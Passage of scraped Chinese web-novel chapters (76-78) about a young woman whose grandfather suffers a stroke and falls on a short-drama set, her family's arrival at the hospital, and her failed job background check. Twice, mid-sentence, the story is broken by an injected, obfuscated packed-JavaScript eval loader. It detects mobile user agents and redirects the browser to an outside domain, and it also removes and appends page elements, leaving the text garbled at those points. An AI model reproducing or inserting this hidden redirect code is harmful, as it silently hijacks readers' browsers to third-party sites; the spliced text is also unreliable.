易诚没说话,无声地笑着。笑声藏在眼里,藏在嘴角,藏在凌晨四点的微风里。 76. 76 之后,他们在断桥看到了朝霞,等到了日出,又去了一家常年排队的早餐店。等老板一拉开卷帘门,常乐就冲进去,抢占第一笼汤包。 “别人熬夜抢头香,我们抢头包。”常乐觉得好笑,又夹起一枚热腾腾的汤包,在酱油碟里蘸了蘸,咬一小口,吸光里面的汤汁,然后囫囵塞进嘴里。 易诚又端来两碗咸豆花,白白的豆腐脑上堆满了肉酱和葱花,勺子轻轻一搅,酱油色的汤汁便弥漫开来。 常乐嫌弃地“噫”了一声,拒绝道:“我不吃咸豆腐脑。” “是你说的,每一顿都要荤素搭配,健康美味嘛。”易诚将一碗豆腐脑推到她面前,递上勺子。 常乐疑惑道:“素在哪儿呢?” 易诚指着豆腐脑上面的一抹绿,“葱花啊。” 常乐:“……” 她接过勺子,不情不愿地尝了一口,有些意外:没有想象中的难吃,甚至比甜豆腐脑的口感更丰富,味道也更鲜美。 吃饱喝足后也才刚到七点,按照家里的作息,林文娟这时候应该已经起床了。 常乐盯着手机,犹豫着,不知道该不该打这个电话。 “想打就打啊。”易诚猜到了她的心思,“不然你这一整天都要纠结这件事。” 常乐走到路边,找了棵树蹲下,深吸一口气,拨通了林文娟的电话。 “喂!咋啦?”林文娟急吼吼的声音从手机里传来。 “没事儿,就是……”常乐换了一侧接听,回头望向站在店门口的易诚。 他冲她点了点头,比了个大拇指。 “就是……”常乐支支吾吾半天,终于鼓起勇气,“我昨天忘记给你打电话了。妈,生日快乐。” 电话那头,林文娟似乎长舒了一口气。 “哎哟,我还当什么事呢,一大清早打电话,又吞吞吐吐的,吓我一大跳!” 常乐干笑两声,解释道:“妈,我那个……昨天太忙了,没想起来这件事。不好意思啊。” 林文娟大大咧咧地说:“嗐,又不是什么整寿,忘了就忘了呗。我最近太忙了,要不是晚上回家看到你爸做了一大桌子菜,我都忘了过生日这回事呢。” “你在忙什么啊?”常乐好奇地问。 “学校的事啊,这学期马上就要结束了,学校要办期末汇演,这次我要表演二胡独奏呢。” “独奏啊?厉害厉害。”常乐真心实意地夸道。 这半年来,林文娟除了在老年大学上课,还报了补习班,每天坚持去琴房练习。她的琴艺不能说是突飞猛进吧,至少不像驴叫了。就这一点,已经甩她的同学们一大截了。 林文娟得意地哼笑两声,忽然压低声音:“对了,钟老师还跟我旁敲侧击地打听你的情况呢。” “旁敲侧击?”常乐不禁失笑,“有这个必要吗?他又不是没有我微信。” “人家不好意思直接问嘛。”林文娟说,“听说你不回来了,他还挺失望的。” 常乐:“我可没说我不回来了。” 林文娟接话:“也就是说,他还有希望喽?” 常乐:“……” 林文娟自顾自地说:“其实吧,易诚也挺不错的,但是我心里更倾向于钟老师。他妈妈对你是真的挺上心的,前几天还追着我问你什么时候回来,还说家里房子车子都准备好了,什么都不用你操心。” 常乐大惊失色:“她什么意思?不会真我把当准儿媳了吧?我可没同意啊。” 林文娟:“人家就是喜欢你,听说你去了外地,比较心急嘛。” 常乐连连拒绝:“别别别,我还不想那么早结婚呢。她要是心急,赶紧去找别人吧,别在我身上浪费时间了。” 电话挂断后,常乐双手托腮,盯着街上来来往往的车轱辘发呆。 心中的天平再一次失衡了。 大城市虽然匆忙、拥挤、疲惫,但至少自由。即使父母催婚,也只是隔着电话,不痛不痒地唠叨几句。 一旦回去,别说催婚了,没准儿第二天就会拉她去配种。 算了,还是在这里继续苟着吧。大城市机会多,也许下一秒就会有转机呢。 常乐站起身,活动一下筋骨,转身向易诚走去。 易诚见她一脸容光焕发的样子,笑着问:“你妈没怪你吧?” “没有,她自己都忘了这事。”常乐呼出一口气,如释重负。 “我都说了,林姨不是那种小心眼的人,别自己吓自己了。”易诚坐上小电驴,把头盔递给常乐,“走吧,赶紧回去补个觉。” -- 回到公寓,常乐还不困,简单洗了个澡后,又自觉地去了公司。 办公室里空空荡荡,她坐在工位上,打开电脑,看着昨晚没做剪完的视频,手已经放在键盘上,大脑却迟迟不给出指令,仿佛死机了。 她呆呆地坐在电脑前,望着密密麻麻的文件,脑子里一片空白。 她忘了要干什么,也不知道该怎么干,更想不通为什么要干。 好无聊啊。 她望向窗外,天空湛蓝如洗,这么好的天气,她应该去公园里散步,像小狗一样在草地上打滚,像小猫一样在阳光下伸懒腰。 她为什么要坐在这里? 常乐无力地趴在桌上,合上眼睛,慢慢睡着了。 梦里,她又回到了全家去划船的那个下午。 林文娟往她嘴里塞了半个剥了皮的砂糖橘,酸酸甜甜的滋味顺着舌尖一直蔓延到心底。 湖面上波光粼粼,忽见一条大鱼腾起,“扑通”一声,引得全家人惊呼。 接着,常建民就开始吹嘘他上次钓的鱼有多大,要不是旁边的钓友老张非要提着鱼拍照,结果手一哆嗦,让鱼给挣脱了…… 说到这儿,常建民痛心疾首,猛拍大腿,直骂老张肯定是故意使坏,就是见不得自己比他厉害,还发誓以后再也不跟他一起钓鱼了。 姥爷接过话茬:“我年轻的时候,下网捕上来一只这么大的甲鱼——”他张开双臂,画了个圆,“至少有二十斤,十里八村的乡亲们都赶过来看热闹。” 林文娟惊奇地问:“二十斤,那得有咱家的铁锅那么大吧?” “你就听他瞎吹吧。”姥姥翻了个白眼,“他年轻的时候,细胳膊细腿的,连只鸡都抓不住,还能捞起一只大甲鱼?” 几个人都哈哈大笑起来,笑声在湖面飘荡,漾起一圈圈涟漪。 小船随波摇晃,常乐就这样被晃醒了。 她揉了揉惺忪的睡眼,办公室里依旧昏暗而空寂,只有她面前的电脑屏幕散发出清冷的白光。 常乐仰头靠在椅背上,醒了会儿神,忽然想到什么,掏出手机,打开相册,一直往前翻。 找到了。 那天,他们在湖边的樱花树下拍的合照,每个人都对自己的形象不太满意。常乐放大照片,看到自己的嘴角还残留着淀粉肠的酱汁。 但是,那天的阳光真好,樱花开得无比烂漫,每个人都笑得很开心。 所以这张照片,常乐一直留着,也没有修图。 真实比完美更珍贵,短暂的一瞬,即是永恒的回忆。 这天下午,常乐没有继续剪视频。她花了一个多小时,认真地做了一份简历,然后打开招聘软件,找到常悦给她推荐的几家公司,一一投递简历。 -- 日子继续过着,常乐的工作依旧忙碌。那天她没剪完视频,第二天并没有受到责罚,余组长甚至还体谅她工作太辛苦,把她的手上的活儿分了一部分给刚进组的新人。 常乐一日三餐的问题也顺利解决了——易诚在公寓里找了一家“小饭桌”,就是那种家庭主妇自己在家里做饭、然后分装成盒饭,卖给附近的上班族。比起外卖,这种盒饭更健康营养,不过价格也偏贵。 易诚先订了一个月,工作日每天送两顿,一顿二十,一个月将近九百。 常乐第一次拿到盒饭时,大大地出乎意料——两荤两素,搭配合理,是家常菜的味道,大米也香喷喷的,仿佛在家里吃饭,比外卖好吃多了。 旁边的小叶也被吸引过来,啧啧感叹道:“你男朋友对你真好。” “不是男朋友啦。”常乐脸颊一热,慌忙解释道,“只是普通朋友,负责监督我吃饭。” 小叶一脸了然,“还是暧昧期最好啊。” “小饭桌”每天中午十二点和晚上七点准时来送饭,常乐再也不用为吃饭的问题发愁了。 除此之外,她还厚着脸皮请了几次假,去参加其它公司的面试。 面试的结果不太理想,有的公司嫌她专业不对口,有的嫌她工作经验不足,还有的HR直接拒绝,表示空档期超过半年的一律不要。 倒是那家佳艺文化传媒,一面时,常乐跟那个HR聊得不错,顺利进入了二面。 二面时,编导组的组长对她正在负责的项目很感兴趣,问了很多专业的问题,常乐都对答如流。看得出来,组长对她挺满意。 只是,二面已经过去一周了,她迟迟没有收到答复。给HR发短信询问,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070208|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方也只是以公事公办的口吻,说公司还需要进一步讨论,请她耐心等候通知。 又一次跟常悦约饭时,常乐提到这件事,有些困惑:“为什么要讨论这么久呢?是不是他们公司本来不想招人,只是把我当个备胎?” “有这种可能。”常悦淡淡地说,“这个不行就换下一家嘛,别吊死在一棵树上。” 常乐单手托腮,闷闷不乐道:“可是,我面了一圈下来,就觉得这家公司最正规,而且,我跟HR和组长都挺聊得来的。”? 她忽然想到什么,拉住常悦的手,恳求道:“哎,你不是有熟人在他们公司吗?能不能让她帮我问问,到底要不要我。” 常悦放下筷子,想了想说:“她不是人事部的,但是跟HR的关系还不错。行,我问问她。” 说完,她拿起手机,水晶指甲在屏幕上噼里啪啦地打字。 “行了,等消息吧。”常悦放下手机,继续吃菜。 “谢谢谢谢!”常乐大手一挥,“今天这顿我请了。” “哟!”常悦挑挑眉,“那我再加只波龙。” “……”常乐强颜欢笑,艰难地从喉咙里挤出一个字—— “行。” 吃过晚饭,姐妹俩手挽着手走在街上,常悦邀请常乐今晚去自己的公寓睡,被她婉拒了:“姥爷晚上还要拍戏,我得去探班。” 常悦:“他那个短剧快大结局了吧?” 常乐:“你也在追啊?” 常悦大笑起来:“我的脑子就是这么看坏的。” -- 常乐赶到片场时,姥爷刚刚拍完了最后一场戏。但他没走,依旧坐在折叠椅上,悠闲地喝着冰美式。 常乐坐在他身边,调侃道:“姥爷,拍完了还舍不得走,等着别人给你办杀青宴吗?” “杀什么青啊?”姥爷苦着脸说,“编导说刚刚那场戏拍得不太满意,想再来一条,让我等会儿再走。” 常乐之前看过小叶写的剧本:老爷和美艳少妇的孩子顺利出生了,是个儿子。老爷大喜过望,当即叫来律师,准备写下遗嘱,将所有的财产都留给这个孩子。 这时,男女主及时赶到,拆穿了美艳少妇的阴谋——这个孩子根本不是老爷的。亲子鉴定结果显示,这个孩子的亲生父亲,其实是老爷的司机。 得知真相的老爷大怒,甩了美艳少妇一巴掌。两人起了争执,司机趁机将老爷推下楼梯,他从二楼滚落到一楼,最终,嘎了。 小叶让常乐提提意见,常乐憋了一肚子的话,最终还是没有说出口。 “还行吧。”她勉强给出评价。 小叶追问:“行就是行,不行就是不行,什么叫‘还行吧’?” “我是觉得……”常乐小心翼翼地说,“这个剧情太老套了,好像融合了很多古早的小说和电视剧。虽然说短剧都这么狗血,但是也要有点新意吧……” 小叶脸一黑,干巴巴地说:“是组长让我多借鉴网络上的爆火作品的,你有什么意见,跟她去说吧。” 常乐一时无言。 毕竟,这不是她的项目,她无权干涉过多。 正胡思乱想着,忽然听到有人喊:“林老师,再来一条。” “来了!”姥爷缓慢站起身,往楼梯口走去。 常乐看着姥爷的背影,总觉得哪儿不对劲:他走路的姿势跟平时不太一样,深一脚浅一脚,走得歪歪扭扭的。 常乐急忙追上去,扶住他的胳膊,低声问:“姥爷,你的腿怎么了?” “没事儿。”姥爷摆摆手,“估计是坐久了,脚坐麻了。” 常乐仍不放心:“要不你先歇一会儿?” 姥爷果断拒绝:“这么多人都等着呢,别耽误大家的时间。” 说完,他抽回自己的胳膊,扶着楼梯栏杆,缓缓走上二楼。 “无关人员请退场!”工作人员指挥道。 常乐只好退到摄像机后面。她蹙着眉,紧盯着二楼的姥爷。 “Action!”编导大喊一声。 姥爷很快入戏。他抬起胳膊,狠狠甩了美艳少妇一巴掌,愤怒地大喊:“你个贱人,居然敢背叛我!我、我——” 他的声音越来越含糊,嘴里像是含着什么东西,身体也在前后摇晃、站立不稳。 常乐终于意识到不对。她不顾工作人员的阻拦,拔腿冲上楼梯。 可惜还是迟了。 随着女人的一声尖叫,姥爷的身子一歪,从旋转楼梯上滚落下来,发出接连不断的、沉闷的声响。 77. 77 现场一片混乱,常乐终于拦截住滚落的姥爷。与此同时,她听到身后有人在高喊:“打120!快打120!” 有人提议:“直接开车送医院更快!” 另一个人说:“还是叫救护车吧!车上有设备,可以及时抢救。”…… 在一片嘈杂中,常乐隐约听到一个声音:“拍下来了吗?效果怎么样?” 她回过头,眼里充满了愤恨。 摄像机后面,几个脑袋凑到镜头前,她不知道说这句话的是谁。此时此刻,现场的每一张脸都显得面目可憎。 姥爷尚未完全失去意识。他抓着常乐的手,颤颤巍巍地说:“她没推我,是我、自己没站稳……” 他说话含糊不清,像是大舌头,嘴角歪斜,还流出了涎水。 跟他对戏的女演员一脸惊恐,不知所措地站在原地。 常乐鼻子一酸,急忙安慰姥爷:“我知道。你别急啊,救护车马上就来了。” 姥爷松开她的手,幽幽地叹了口气,浑浊的瞳仁里映出水晶吊灯璀璨的灯光。 他喃喃地说:“好想回家啊……” 十分钟后,救护车终于来了。两名医护人员将姥爷抬上担架,常乐紧随其后,小叶也跟了上去,一起坐上救护车。 车窗外闪烁着炫目的蓝光,常乐听着“滴嘟滴嘟”的鸣笛声,大脑一片呆滞。 她仿佛失去了思考能力,只能紧紧攥住姥爷的手,藉此获得一点力量。 小叶拍拍她的肩膀,安慰道:“别担心,我们已经打电话给刘总了,有什么事,他会负责的。” “他会负责?”常乐仿佛被人点醒了,猛地回过头,“他要是负责,就不会让姥爷每天拍戏到那么晚了,老年人经得起这么折腾吗?” 小叶讷讷地解释:“我们租的这个摄影棚,是按天收费的,所以必须得加班加点——” 常乐不想听这种借口,打断她:“还有,你给他安排的滚楼梯戏,就没有考虑过老年人拍这一段会有风险吗?好歹也要采取防护措施啊。” “我们最初的设计是,让林老师慢动作倒在地上,滚两级台阶,再躺在楼梯口拍一段,最后再把这几个片段合成起来。而且,楼梯上铺了地毯,我们觉得应该没问题……”小叶低声解释道,“之前那条就是这样拍的,可能编导不太满意,就想再来一遍……” 常乐用力揉了揉眉心,窝了一肚子火,却不知该向谁发泄。 终于到达医院,姥爷被抬进了急诊室,常乐和小叶火急火燎地跟上去。 一位医生对姥爷做了初步检查,接着向常乐询问他发病时的症状,最后说:“初步推测是脑卒中,具体是缺血性还是出血性,得先做个脑部CT才能判定。” “就是脑梗吗?”常乐喃声问。 医生点点头,“也就是俗称的中风。” 脑梗…… 常乐忽然想起,易叔叔也是得的这个病。她心下一沉。当年易叔叔虽然抢救回来了,但多次发病,而且一次比一次严重。 一旦得过这个病,后半生都要活在它的阴影之中。 姥爷很快被送进了CT室。 在门外等候时,医生又向常乐询问起姥爷的过往病史,比如有没有三高、糖尿病、心脏病之类的,常乐一概否认:“他每年都做体检,没有这方面的问题。” 她很肯定,如果有,姥姥肯定会反复叮嘱她,让她监督姥爷吃药。 “那他平时有没有什么不良的生活习惯,比如抽烟喝酒,久坐不动,长期熬夜?” 常乐眉头紧蹙,“这段时间,他每天都熬到很晚,作息很不规律,饮食也不健康……” 她的心情越来越沉重。 当初,她向姥姥信誓旦旦地保证会照顾好姥爷,可是,这几个月,她只顾着操心自己的事,偶尔才想起去看望姥爷,更不用说照顾他的饮食起居了。 这是她的严重失职。 CT室厚重的大门打开了,姥爷躺在担架床上被推了出来,医生进去取出一张片子,对着灯光仔细查看,最后说:“血管没有破裂,是缺血性脑卒中,血栓在这里——”他指给常乐看。 黑白片子上,血管错综复杂,一根细细的血管上有一粒绿豆大小的阴影。 医生评估过后,决定采用溶栓治疗,常乐整个人都是懵的,只能跟随着医生的指示,在决定书上签了字。 姥爷打了静脉溶栓针,被送进ICU观察。常乐守在病房门外,隔着小窗,看着躺在病床上的姥爷。 犹豫许久,她打开微信,给易诚发了个医院的定位。 易诚很快回复:【?】 常乐正要打字,手机响了,是易诚打来的电话。 “喂……”一个字刚说出口,常乐喉咙就哽住了。 她磕磕巴巴地告诉易诚,姥爷突发疾病,已经送到医院了,医生说是脑梗,刚刚打了溶栓针…… “你先别急。”易诚对此有丰富的经验,“脑卒中的黄金抢救期是4.5小时,他一发病就被送到医院抢救,溶栓成功的概率很大。” 常乐已经泣不成声了,只能“唔唔”几声。 电话那头,易诚已经从床上爬起来,在换衣服了。 “你等会儿,我马上过来。” 二十分钟后,易诚就气喘吁吁地出现在了常乐面前。与此同时,小叶也领着刘老板和萱萱赶到了ICU病房门口。 了解完姥爷的最新情况后,刘老板一脸歉疚地说:“你放心,林老师的治疗费用都包在我们身上了。” 常乐低着头,“嗯”了一声,没再多说。 萱萱问:“你姥爷之前有什么慢性病吗?” 常乐摇摇头。 萱萱继续问:“什么高血压、高血脂、糖尿病……” 常乐依旧摇头。 “那怎么会突然发病呢?”萱萱自语道,“我听说脑梗病人都是有基础疾病的。” 常乐不禁皱起眉头,怒呛道:“我都说了,他没有这些毛病,他就是累的!要不是你们长期熬夜拍戏,他也不会突然发病!” 易诚在她身后,轻轻拍了拍她的后背,试图抚平她的怒火。 萱萱声音弱了几分:“你别生气嘛,我们熬夜也是为了赶进度,而且林老师很有工作热情,很多次,都是他主动要求留下来加班的……” 常乐怒气冲冲地瞪着她,她瑟缩了一下,不敢再说话了。 几个人站在ICU门外,沉默地等待着。 易诚提醒常乐:“你要不要跟家里人打个电话?” 常乐蹲在地上,语气苦恼:“这大半夜的,我怕吓到他们。” “那你打算什么时候说?” 常乐沉默半晌,“等……姥爷脱离危险吧。” 易诚没有再劝。 等待的时间被拉得无限漫长,这期间,常乐想到了很多。 她想起姥爷那条试穿寿衣的视频,难道真的是因为不避谶,所以才惹上了灾祸? 她想起姥姥说过,姥爷曾被一个顽劣的学生气到住院,难道那时候就留下了病根? 她又想起了易叔叔,她记得他年轻时身体好,力气大,喜欢户外,喜欢骑行,这个像大树一样的人,怎么说倒就倒了呢? 不知等了多久,几位医生进了ICU,检查了姥爷的状况后,对常乐说:“病人已经脱离生命危险了,再继续观察半小时,没有恶化的话,就可以转到重症病房了。” “谢谢!谢谢!”常乐又哽咽了,不住地点头。 等医生离开后,易诚说:“现在可以给家人报平安了吧?” 常乐攥着手机,再度陷入了纠结。 屏幕上显示时间已经过了零点,家里人肯定都睡了。现在把他们吵醒,除了让他们担惊受怕外,没有任何作用。 可是,发生这么大的事,总得第一时间告知家人吧? “你是不是怕他们怪你?”易诚轻声说,“这不是你的错。” 常乐抬起头,隔着朦胧的泪眼,看到他的脸虚化成一个模糊的轮廓。 “这就是我的错!”她一开口,眼泪就簌簌地落下,“都怪我,没有照顾好姥爷。当初我就不该答应他来杭城,不该让他进这个什么破公司,演这个什么破网剧……” 一旁的刘老板和萱萱的脸色都有些难看。 “不是你的错。”易诚扶住她常乐的肩膀。 他的脸渐渐清晰,双眸凝视着她,目光诚挚而认真。 “我爸刚得脑梗时,我也很后悔。我想,要是我没有外出工作,一直在家陪着他,他就不会被骗走所有积蓄,就不会急火攻心突然发病。”易诚眸光微闪,似乎想起了许多痛苦的回忆,“我也是过了好久,才想通这件事:这不是我的错。生老病死是人生常态,我不能把什么都赖在自己头上。” 常乐怔怔地望着他,拼命憋着眼泪,嘴唇都被自己咬出了血。 “你尽力了,就无愧于心,所以不要太苛责自己了。”易诚垂下眼帘,视线落在她的手机上,“打吧,一家人一起来承担,总好过你一个人硬扛着。” 最终,常乐还是拨通了林文娟的电话。 嘟声持续了很久,电话才接通。 “妈……”常乐刚开了个头,就克制不住地嚎啕大哭起来。 易诚不得不接过手机,继续她没说完的话。 -- 姥爷转到重症病房后,只能留一个家属陪护。其他人都离开了,易诚想留下来,但常乐执意要自己陪护。 他拗不过常乐,只好跟她道别:“那我明天早上过来。” 常乐点点头,等他离开后,就扫码打开病床边的折叠椅。这是医院专门给陪护家属准备的,一晚上十五块。 她疲惫地坐在床上,抬头望着床头的各种仪器:心跳稳定,血压正常,氧气正在输送中,各种输液管里滴答滴答…… 常乐一整晚没怎么睡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077442|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快天亮时实在撑不住了,眯了一小会儿,很快就被查房的护士给吵醒了。 她索性收起床,折叠成椅子形状,坐在上面,继续盯着床头的仪器发呆。 易诚来得很早。他给常乐带了豆浆和小笼包,怕吵醒姥爷,压低声音说:“你去外面吃吧,我在这儿守着。” 常乐木然地点点头,提着早餐走出病房,站在走廊尽头的窗边,呆呆地望着远处。 天色灰暗,乌云压得很低,屋顶和地面都是湿漉漉的,外面不知何时下起了雨。 常乐昨晚给林文娟打完电话,没过多久,就收到她的消息,他们已经买了今早八点的飞机,预计十点就能抵达杭城。 这会儿,他们已经到了机场,又给她发来一条:【天气不好,飞机预计要晚点一个小时。】 常乐简单回了个“好”。 心事重重地吃完了早饭,常乐正要回到病房,迎面撞上了常悦。她正急匆匆地往里走,一手拿着伞,另一只手提着几袋水果。 “常悦。”常乐喊住她,“你怎么来了?” 常悦见到她,立马停下脚步,又急又气地说:“哎呀,发生了这么大的事,也不跟我说一声!” 常乐勉强笑了笑,“我爸跟你说的吧?” 常悦看着她的黑眼圈,心疼地说:“你昨晚守了一夜吧?要不你先回去睡一会儿,我在这儿守着?” 常乐摇摇头,“没事儿,上午我爸妈就要过来了,我在这里等他们。” 她带着常悦进了重症病房,易诚急忙站起身,将椅子让给她们坐。 “你坐你坐。”常悦客气地说,又俯下身,查看着姥爷的脸色,“姥爷醒了吗?” 常乐说:“半夜醒了一次,能说话,手也能动。” “那挺不错啊。”易诚惊喜地说,“康复的可能性很大。” 上午,常乐就守在病床边,不时掏出手机,查看父母的航班信息。飞机晚点了一个多小时,大概要中午才能到。易诚已经去机场接他们了。 常悦不停地在手机上打字,大概是在跟人聊天。过了会儿,她又出去打了个电话,回来时,脸色很难看,还偷偷瞥了一眼常乐。 “怎么了?”常乐察觉到她的目光,以为她想走了,“你要是有事就先回去吧,这里有我守着就行。” “没事儿,就是……”常悦视线躲闪,欲言又止。 常乐:“你老板又说你了?” “不是我的事,是……你。”常悦咽了咽唾沫,神色有些不安。 “我?”常乐蹙起眉,“我怎么了?” 常悦纠结再三,终于下定决心,坐到她面前,小声说:“你不是让我找小姐妹打听你面试的结果吗?她找HR问了,HR说,他们对你还挺满意的,本来都打算录用你了,结果……”她顿了顿,看着常乐,露出同情的神色,“你背调没过。” “背调?”常乐觉得匪夷所思。 她想过一万种被拒绝的理由,唯独没想过,自己居然会被卡在背调这一关。 常乐忿忿地说:“我怎么了?我是杀人还是放火了?我家世世代代都遵纪守法,怎么可能背调不过?他们到底调查出什么来了?” 常悦压低声音,仿佛在说一件很耻辱的事:“他们调查出,你申请过劳动仲裁。” 常乐震惊地瞪大眼。 “劳动仲裁怎么了?” 她是申请过仲裁,可她是受害者啊!她又没当老赖!她又没拖欠员工工资! “你不知道,现在的公司,对于这件事非常介意。”常悦惋惜地叹了口气,“你申请过仲裁,意味着你懂劳动法,会用法律手段维护自己的利益,他们就不好拿捏你了。” 常乐此刻的心情,犹如被当头一棒,震惊过后,渐渐转化为愤怒。 愤怒之余,又感受到一股莫大的悲哀。 也就是说,以后她不管去哪家公司面试,都会因为这个荒谬的理由而被一票否决? 难道她在职场上就没有容身之处了吗? 手机响了很久。 常乐木讷地接起,林文娟的声音从手机里传来:“我们刚下飞机,正在取行李。姥爷还好吧?” 常乐站起身,挪动着僵硬的双腿,缓缓走出病房,走到窗边。 窗外的雨下得更大了。 “妈……”这个字一喊出口,所有的委屈瞬间涌上心头。 她泣不成声:“妈,我、我……” 林文娟吓了一跳:“怎么了?是不是你姥爷……你这死孩子,说话啊!别吓唬我!” “不是,姥爷他、他还好……”常乐抽抽搭搭地说,“是那个……外面下雨了,你们带伞了吗?” 林文娟长长地呼出一口气,骂道:“下就下呗,你哭什么?没带伞就打车,大不了就淋雨。多大点事,值得你哭成这样吗?” 常乐哭得更撕心裂肺了。 “可是,妈,外面的雨真的好大……” 78. 78 易诚领着林文娟匆匆走进病房,常建民搀扶着姥姥紧随其后,四个人都提着大包小包,风尘仆仆,面色凝重。 常乐站起身,嘴巴一撅,刚要哭着喊“妈”,林文娟已经走到了她面前,腾出一只手,迅速捏住她的嘴。 “收! 常乐像被人点了穴,只能发出“唔唔”声。 “哭什么哭?姥爷这不好好的嘛。”林文娟松开手,又抠了抠常乐眼角的眼屎,往她衣服上蹭了蹭,“以后我要是躺在病床上,你可别哭得这么难看!” “妈!”常乐面色微窘,“没事儿别咒自己。” 林文娟将行李塞进床底,说:“人生在世,谁没个头疼脑热、七病八痛的?你姥爷算是很幸运了,一发病就被送到医院。我听易诚说,他已经能说话了,手还能动。哪只手?” 常乐回忆片刻,抬起自己的手,模仿姥爷的动作,“应该是右手,能抬高,也能抓握,还挺有劲儿的。” 林文娟分析道:“你昨天发来的CT片子里,他是左边脑血管被堵住了,一般会导致右侧偏瘫。但是他右手都能活动了,说明康复的可能性很大。” 听她这么说,常乐的心落下了大半。 姥姥伏在床头,轻轻拍打着姥爷的脸,试图把他唤醒:“老头子?老林?林老师?杀千刀的?” 姥爷的眼睛终于眯开了一条缝儿。 他缓缓转动脑袋,看着病床上方一张张熟悉的脸庞,从喉咙里挤出沙哑的声音:“我没事儿……” “有事没事不是你说了算。”姥姥一屁股坐在床边,从行李包里抽出一沓资料,扭头望向常乐,问:“主治医生啥时候来?我把老头子以前的体检资料都带来了。” 常乐急忙凑过去翻看。 “姥爷没有什么慢性病吧?” “没有,他身体一直很好。”姥姥语气肯定。 常乐追问:“你以前不是说过,他被学生气到住院吗?那次得的是什么病?” 姥姥想了一会儿,“哦,有个学生在公开课上跟你姥爷顶嘴,气得他痔疮都裂了,流了一裤子的血。” 常乐:“……” 姥爷也是见过大风大浪的人啊。 偷偷瞟一眼病床,姥爷本就苍白的脸色现在白得有点发绿了。 常建民在医院附近定了一个标间,几个人把行李送到了酒店,顺便去吃个中饭,留林文娟在病床边守着。 吃完饭,常建民又去旁边的便利店买了几把雨伞,撑开一把,递给常乐。 “听你妈说,你哭得稀里哗啦的,说什么雨太大,怕我们打湿了。”他仰头望着灰蒙蒙的天空,疑惑地说,“这雨也不大啊。” 常乐尴尬地笑了两声,嘟囔道:“我这不是怕你们感冒嘛……” -- 24小时很快过去,医生复查之后告诉他们,姥爷状态平稳,没有颅内出血,应该已经过了危险期。 不等他们松一口气,第二天,姥爷又去做了个更细致的检查,发现部分脑组织已经坏死了。 医生解释说,从姥爷发病到打溶栓针之间,存在两个小时的缺氧期。在缺氧五分钟后,脑细胞就会开始坏死,导致患者出现各种身体病症,所以还需要进一步的观察和治疗。 紧接着,又检查出姥爷身上有多处软组织挫伤,应该是他从楼梯上滚下来时受的伤。其中腰部和脚腕伤得最重,需要卧床休养一段时间。 姥爷从重症病房搬到了普通病房。林文娟请了医院的护工,每天给姥爷翻身、擦洗身体、按摩四肢,并协助排便。 有个护工阿姨跟林文娟同龄,身材壮实,性格爽朗,喜欢跟人聊天。 有次,她大大咧咧地说:“哎哟,你姥爷已经算很幸运的了,你看这个——”她往旁边病床瞥了一眼,“啧啧,还不到四十岁就脑梗了,情况比你姥爷严重多了,现在还不会说话。” 常乐好奇地看向那个陷入昏睡中的病人,悄声问:“这么年轻,什么原因啊?” 护工阿姨也压低声音:“听说是喝了太多饮料。” “啊?”常乐瞪大眼,有些难以置信,“就因为这个?” 那她平时喝了那么多奶茶…… “是啊,可乐、雪碧、各种汽水、还有奶茶,什么都喝,就是不喝水。”护工阿姨说得煞有介事,“连续喝了好几年,突然就发病了,一检查,发现他的血糖血脂高得吓人。” 常乐唏嘘一声,并在心里暗暗发毒誓,以后再也不喝奶茶和饮料了。 今晚轮到常乐守夜。她拿着牙刷和毛巾,刚要去洗手间洗漱,护工阿姨将布帘拉开一条缝,把她喊了过来。 她叮嘱道:“我刚刚给你姥爷上了两只开塞露,估计要五分钟后起作用。我得先去趟隔壁病房,你在这儿盯一下,等排出来了就来喊我。” 常乐也不知道要盯什么,见她着急要走,只能懵懵地说了个“行”。 姥爷正侧躺着,身体弓成虾的形状,床上垫了几张护理垫。 没过多久,常乐就听到“噗”的一声。 低头一看,几粒羊粪蛋似的玩意儿滚落到了护理垫上。 常乐傻眼了。 紧接着,伴随着“噗噗”几声,更多东西排了出来。空气中弥漫着一股恶臭。 常乐别过头,不敢看,甚至不敢听,只能冲着门口大喊:“阿姨!出来了——” 等了半天,护工阿姨还是没过来。“噗噗”声已经渐渐停歇了,常乐只得硬着头皮,用护理垫包裹住那一堆排泄物,扔进了门口的医疗垃圾桶里。 她又从床头柜里找出湿纸巾,帮姥爷仔细擦拭干净,最后换上新的护理垫。 第二天一早,易诚来换班了。他给常乐带来了小米粥和茶叶蛋,见常乐脸色不好,问道:“昨晚没休息好吗?” 常乐摇摇头,如行尸走肉般走出病房。易诚也提着早餐跟了出去。 常乐脸色苍白,双眼呆滞,跟他说了昨晚的事,最后喃喃道:“我感觉我的灵魂都升华了。” 易诚又心疼又想笑:“你应该等我过来,再让他排便的。我以前照顾我爸,已经习惯了。” 常乐诧异地挑起眉,“你也帮你爸……” “对啊。”易诚脸上浮起苦笑,“家里有个病人,这些事你都得学会。” 常乐叹了口气,视线落在黄黄的小米粥上。 “我现在真的吃不下。” “那就放着这儿,留着给我当午饭吧。”易诚说,“你先回去休息吧,昨晚肯定没睡好。” 常乐沉默片刻,低声说:“那就辛苦你了。” 常乐收拾好自己的东西,跟姥爷道别后,离开了病房。 易诚又追了上来。 